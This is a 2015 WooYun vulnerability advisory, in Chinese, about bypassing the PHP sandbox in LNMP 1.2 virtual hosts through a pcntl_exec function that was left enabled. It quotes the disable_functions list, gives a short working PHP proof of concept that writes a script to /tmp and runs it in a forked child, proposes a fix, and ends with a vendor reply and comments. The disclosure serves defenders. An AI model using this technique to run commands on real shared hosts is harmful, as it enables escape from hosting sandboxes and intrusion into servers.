当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145879

漏洞标题:LNMP虚拟主机PHP沙盒绕过/命令执行

相关厂商:LNMP

漏洞作者: phith0n

提交时间:2015-10-10 21:45

修复时间:2015-11-26 14:34

公开时间:2015-11-26 14:34

漏洞类型:系统/服务运维配置不当

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-10: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向核心白帽子及相关领域专家公开
2015-11-01: 细节向普通白帽子公开
2015-11-11: 细节向实习白帽子公开
2015-11-26: 细节向公众公开

简要描述:

lnmp更新1.2版本,很多东西都升级了,很棒。不过还是发现一个BUG。

详细说明:

LNMP是一款linux下nginx、php、mysql一键安装包。
下载:http://**.**.**.**/lnmp/lnmp1.2.tar.gz
执行一个命令即可简单安装。
LNMP是这样配置沙盒的:
1.disable_functions,配置在 include/php.sh中:

php_sh_—_lnmp1_2.png


其值为:
passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket
2.open_basedir,在创建虚拟主机的时候配置:

lnmp_—_lnmp1_2.png


如上图,方法是在虚拟主机跟目录里,新建一个.user.ini文件,并通过这个ini设置open_basedir,并用chattr +i赋予其不可修改的权限。
但如果php可以执行系统命令的话,open_basedir也没什么意义了。
我们看看编译php的选项:

php_sh_—_lnmp1_2 2.png


可见开启了PHP默认不开启的pcntl:--enable-pcntl。
我们看前面,pcntl_exec是没有被禁用了。不知道为什么,这个版本把pcntl_exec的禁用给去掉了,这就导致了虚拟主机的沙盒绕过、命令执行。
给出pcntl_exec执行命令的方法。
pcntl_exec是类似windows下的shell.application。需要我们先写一个脚本文件,然后用其执行。
POC如下:

<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
@unlink("/tmp/output");
$c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}


写一个脚本,执行命令后把结果输出到/tmp/output。
然后用pcntl_fork(),fork出一个子进程,在子进程里调用pcntl_exec执行这个脚本。否则在父进程里执行pcntl_exec后会导致进程一直处在等待状态,最后导致502。

https___www_leavesongs_com_ph_php.png


然后查看output,echo file_get_contents("/tmp/output");

https___www_leavesongs_com_output_txt 2.png


执行任意命令沙盒bypass,虚拟主机也就没什么意义了。

漏洞证明:

见上面。

修复方案:

禁用pcntl_exec,或者不要--enable-pcntl

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-10-12 14:32

厂商回复:

CNVD未直接复现所述漏洞情况,暂未建立与软件开发者的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-10-10 22:12 | error ( 普通白帽子 | Rank:434 漏洞数:96 )

    你关注的白帽子 phith0n 发表了漏洞 LNMP虚拟主机PHP沙盒绕过/命令执行

  2. 2015-10-10 23:54 | we8_ ( 普通白帽子 | Rank:104 漏洞数:18 | we8)

    666666

  3. 2015-10-11 01:02 | _Thorns ( 普通白帽子 | Rank:1092 漏洞数:184 | WooYun is the Bigest gay place :))

    P神出现互联网必将掀起一波~

  4. 2015-10-11 01:18 | 秦风 ( 实习白帽子 | Rank:40 漏洞数:10 | 血染江山的画 怎敌妳眉间一点朱砂 覆...)

    前来膜拜

  5. 2015-10-11 05:11 | 随风的风 ( 普通白帽子 | Rank:166 漏洞数:54 | 微信公众号:233sec 不定期分享各种漏洞思...)

    下班了,来膜拜。然后睡觉

  6. 2015-10-11 07:42 | scanf ( 核心白帽子 | Rank:1317 漏洞数:191 | 。)

    666666

  7. 2015-10-11 10:22 | 咖啡 ( 实习白帽子 | Rank:48 漏洞数:20 )

    666666

  8. 2015-10-11 10:33 | Fire ant ( 实习白帽子 | Rank:81 漏洞数:28 | 他们回来了................)

    666666666膜拜师傅

  9. 2015-10-11 11:11 | ../../ ( 路人 | Rank:24 漏洞数:7 | root@z7ys.com)

    前来膜拜

  10. 2015-10-11 11:15 | 隐形人真忙 ( 实习白帽子 | Rank:89 漏洞数:12 | Hello hacker!)

    顶~

  11. 2015-10-11 13:19 | 番茄师傅 ( 普通白帽子 | Rank:294 漏洞数:80 | http://www.tomatoyu.com/)

  12. 2015-10-12 12:22 | Cyrils ( 实习白帽子 | Rank:45 漏洞数:10 | the more the better)

    6666666